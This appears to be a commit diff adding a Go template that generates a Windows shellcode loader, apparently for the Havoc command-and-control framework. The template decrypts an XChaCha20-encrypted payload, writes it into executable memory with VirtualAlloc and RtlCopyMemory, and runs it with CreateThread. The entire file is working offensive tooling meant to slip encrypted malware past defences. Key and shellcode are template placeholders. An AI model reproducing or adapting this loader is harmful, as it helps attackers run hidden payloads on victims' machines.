|
| 1 | +package templates |
| 2 | + |
| 3 | +var ChaCha20Tmpl = ` |
| 4 | +package main |
| 5 | +
|
| 6 | +import ( |
| 7 | + "fmt" |
| 8 | + "syscall" |
| 9 | + "unsafe" |
| 10 | + "errors" |
| 11 | +
|
| 12 | + "golang.org/x/sys/windows" |
| 13 | + "golang.org/x/crypto/chacha20poly1305" |
| 14 | +) |
| 15 | +
|
| 16 | +const ( |
| 17 | + MEM_COMMIT = 0x1000 |
| 18 | + MEM_RESERVE = 0x2000 |
| 19 | + PAGE_EXECUTE_READWRITE = 0x40 |
| 20 | +) |
| 21 | +
|
| 22 | +var ( |
| 23 | + kernel32 = windows.MustLoadDLL("kernel32.dll") |
| 24 | + ntdll = windows.MustLoadDLL("ntdll.dll") |
| 25 | +
|
| 26 | + VirtualAlloc = kernel32.MustFindProc("VirtualAlloc") |
| 27 | + RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory") |
| 28 | + CreateThread = kernel32.MustFindProc("CreateThread") |
| 29 | +) |
| 30 | +
|
| 31 | +var ErrCipherTextTooShort = errors.New("ciphertext too short") |
| 32 | +
|
| 33 | +func decrypt(content, key []byte) ([]byte, error) { |
| 34 | + aead, err := chacha20poly1305.NewX(key) |
| 35 | + if err != nil { |
| 36 | + return nil, err |
| 37 | + } |
| 38 | +
|
| 39 | + nonceSize := aead.NonceSize() |
| 40 | + if len(content) < nonceSize { |
| 41 | + return nil, ErrCipherTextTooShort |
| 42 | + } |
| 43 | +
|
| 44 | + nonce, ciphertext := content[:nonceSize], content[nonceSize:] |
| 45 | +
|
| 46 | + return aead.Open(nil, nonce, ciphertext, nil) |
| 47 | +} |
| 48 | +
|
| 49 | +func main() { |
| 50 | +
|
| 51 | + key := "{{ key }}" |
| 52 | +
|
| 53 | + // Payload havoc |
| 54 | + var shellcodeBytes = []byte{ |
| 55 | + {{ shellcode }} |
| 56 | + } |
| 57 | +
|
| 58 | + var shellcode []byte |
| 59 | + shellcode, err := decrypt(shellcodeBytes, []byte(key)) |
| 60 | + if err != nil { |
| 61 | + fmt.Println("failed to decrypt payload") |
| 62 | + fmt.Println(err) |
| 63 | + syscall.Exit(0) |
| 64 | + } |
| 65 | +
|
| 66 | + addr, _, err := VirtualAlloc.Call( |
| 67 | + 0, |
| 68 | + uintptr(len(shellcode)), |
| 69 | + MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE, |
| 70 | + ) |
| 71 | +
|
| 72 | + // retour d'erreur ( quand on appel la lib ) |
| 73 | + // TODO improve error checking |
| 74 | + if err != nil && err.Error() != "L’opération a réussi." { |
| 75 | + fmt.Println("failed to alloc memory") |
| 76 | + fmt.Println(err) |
| 77 | + syscall.Exit(0) |
| 78 | + } |
| 79 | +
|
| 80 | + _, _, err = RtlCopyMemory.Call( |
| 81 | + addr, |
| 82 | + (uintptr)(unsafe.Pointer(&shellcode[0])), |
| 83 | + uintptr(len(shellcode)), |
| 84 | + ) |
| 85 | +
|
| 86 | + // TODO improve error checking |
| 87 | + if err != nil && err.Error() != "L’opération a réussi." { |
| 88 | + fmt.Println("failed to copy in memory") |
| 89 | + fmt.Println(err) |
| 90 | + syscall.Exit(0) |
| 91 | + } |
| 92 | +
|
| 93 | + // jump to shellcode |
| 94 | + _, _, err = CreateThread.Call( |
| 95 | + 0, // [in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes, |
| 96 | + 0, // [in] SIZE_T dwStackSize, |
| 97 | + addr, // shellcode address |
| 98 | + 0, // [in, optional] __drv_aliasesMem LPVOID lpParameter, |
| 99 | + 0, // [in] DWORD dwCreationFlags, |
| 100 | + 0, // [out, optional] LPDWORD lpThreadId |
| 101 | + ) |
| 102 | +
|
| 103 | + // TODO improve error checking |
| 104 | + if err != nil && err.Error() != "L’opération a réussi." { |
| 105 | + fmt.Println("failed to create thread") |
| 106 | + fmt.Println(err) |
| 107 | + } |
| 108 | +
|
| 109 | + for { |
| 110 | + } |
| 111 | +} |
| 112 | +` |
0 commit comments